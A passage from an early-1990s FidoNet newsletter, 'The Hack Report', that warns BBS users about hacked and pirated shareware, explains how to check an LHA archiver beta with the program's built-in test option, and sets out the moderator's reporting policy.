  2673.         WINDRV    Copyrighted.  No permission to copy granted.
  2674.  
  2675.   =========================================================================
  2676.  
  2677.                                   Help!!!
  2678.  
  2679.   Would the person who sent the copy of Vegas Casino 2 (filename VEGAS2) to
  2680.   The Hack Squad for testing/verification please re-identify themselves via
  2681.   NetMail?  Somehow, your message went to the great Bit Bucket in the sky.
  2682.   Thanks in advance!
  2683.  
  2684.   =========================================================================
  2685.  
  2686.                          Clarifications and Thanks
  2687.  
  2688.   Folks, the LHA mystery has finally been resolved, thanks to Scott Fell
  2689.   (1:124/6119), Steve Quarrella (1:124/9005), and Kenjirou Okubo, the
  2690.   support person for LHA.  Your Hack Squad finally received the Internet
  2691.   address for Kenjirou Okubo (kenjirou@mathdent.im.uec.ac.jp), and managed
  2692.   to verify Scott Fell's own contact, relayed via Steve.
  2693.  
  2694.   If you recall, Onno Tesink (2:283/318) found a file called LHA255B.  This
  2695.   claims to be version 2.55b of the LHA archiver, with a file date in the
  2696.   executable of 12/08/92.  Onno's report was the one that started the
  2697.   search.
  2698.  
  2699.   Kenjirou knew of this version and verified its legitimacy.  He also
  2700.   provided some other very helpful information, which is best relayed by
  2701.   quoting his message to me:
  2702.  
  2703.        "For DOS, currently lha256a1 is under testing in a closed
  2704.        circle for networking environment. After LHA213, dos5 appeared
  2705.        in Japan and Yoshi started his series LHA25x series. The two
  2706.        versions you mentioned seem to fall under this series. The
  2707.        latest version which might be distributed by me is LHA254 for
  2708.        people who wants to test -lh6- algorithm."
  2709.  
  2710.   He went on to provide the following information on how to verify your
  2711.   copy of LHA:
  2712.  
  2713.        "Any version ending with LHA25xb is a beta test version, and
  2714.        LHA25xa is for a limited circulation. To test whether these
  2715.        files are legitimate release either from Yoshi or me, please
  2716.        use -t option to check two dimensional CRC self-validation
  2717.        check. We believe our test will check the validation with
  2718.        10E-38 % of error probability."
  2719.  
  2720.   From my own testing, here is the best way to run the verification:
  2721.  
  2722.     1.  Extract LHA.EXE from the suspect archive and place it in an
  2723.         empty subdirectory that is not on your path.  (example:
  2724.         c:\foo\lha.exe).
  2725.  
  2726.     2.  Change directories to the one which contains a known good copy
  2727.         of LHA.EXE.
  2728.  
  2729.     3.  Execute the command LHA t drive:\path\LHA.EXE.  Using the above
  2730.         example, your command line would look like this:
  2731.  
  2732.                 C:\LHADIR>LHA t C:\FOO\LHA.EXE
  2733.  
  2734.   This will execute the known good copy of lha, which will test the suspect
  2735.   copy and report whether or not the file "appears" to be the original or
  2736.   not.  Even though the older LHA is doing the testing, it will be able to
  2737.   verify the newer copy.
  2738.  
  2739.   Please note that Scott Fell's information was that the author does not
  2740.   want these copies distributed.  However, it seems that the folks working
  2741.   on LHA are aware that some betas have "escaped" into circulation.  In
  2742.   other words, use any betas _entirely_ at your own risk.
  2743.  
  2744.   Scott and Steve have my undying gratitude for helping to lay this to
  2745.   rest, most notably by locating Kenjirou's Internet address and following
  2746.   through on it.  Thanks from all of us!
  2747.  
  2748.   *************************************************************************
  2749.  
  2750.                                 Conclusion
  2751.  
  2752.   If you see one of the listed files on a board near you, it would be a
  2753.   very friendly gesture to let the SysOp know.  Remember, in the case of
  2754.   pirated files, they can get in just as much trouble as the fiend who
  2755.   uploads pirated files, so help them out if you can.
  2756.  
  2757.                           ***HACK SQUAD POLICY***
  2758.  
  2759.   The intent of this report is to help SysOps and Users to identify
  2760.   fraudulent files.  To this extent, I give credit to the reporter of a
  2761.   confirmed hack.  On this same note, I do _not_ intend to "go after" any
  2762.   BBS SysOps who have these programs posted for d/l.  The Shareware World
  2763.   operates best when everyone works together, so it would be
  2764.   counter-productive to "rat" on anyone who has such a file on their board.
  2765.   Like I said, my intent is to help, not harm.  SysOps are strongly
  2766.   encouraged to read this report and remove all files listed as "confirmed"
  2767.   from their boards.  I can not and will not take any "enforcement action"
  2768.   on this, but you never know who else may be calling your board.  Pirated
  2769.   commercial software posted for d/l can get you into _deeply_ serious
  2770.   trouble with certain authorities.
  2771.  
  2772.   Updates of programs listed in this report need verification.  It is
  2773.   unfortunate that anyone who downloads a file must be paranoid about its
  2774.   legitimacy.  Call me a crusader, but I'd really like to see the day that
  2775.   this is no longer true.  Until then, if you _know_ of a new official
  2776.   version of a program listed here, please help me verify it.
  2777.  
  2778.   On the same token, hacks need to be verified, too.  I won't be held
  2779.   responsible for falsely accusing the real thing of being a fraud.  So,
  2780.   innocent until proven guilty, but unofficial until verified.
  2781.  
  2782.   Upcoming official releases will not be included or announced in this
  2783.   report.  It is this Moderator's personal opinion that the hype
  2784.   surrounding a pending release leads to hacks and Trojans, which is
  2785.   exactly the opposite of what I'm trying to accomplish here.
  2786.  
  2787.   If you know of any other programs that are hacks, bogus, jokes, hoaxes,
  2788.   etc., please let me know.  Thanks for helping to keep shareware clean!
  2789.  
  2790.                    Lee Jackson, Author, The Hack Report
  2791.      Moderator, FidoNet Int'l Echos SHAREWRE and WARNINGS (1:124/4007)
  2792.